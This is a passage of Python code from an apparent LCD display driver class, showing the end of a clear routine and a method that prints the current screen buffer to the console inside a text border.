        # blanks out the LCD memory
        self.lcdmem = self._generate_lcd_memory()

        self.lcd.clear()

    def show_whats_displayed(self):
        '''Tool to show on the command line what is currently displayed to the screen'''

        totalWidth = self.cols + 2
        print('Output Display'.center(totalWidth))

        print('-' * totalWidth)
        for row in self.lcdmem:
            lineText = ''.join(letter for letter in row)
            if len(lineText) < self.cols:
                padding = self.cols - len(lineText)
                print('|' + lineText + ' ' * padding + '|')
            else:
                print('|{}|'.format(lineText))

        print('-' * totalWidth)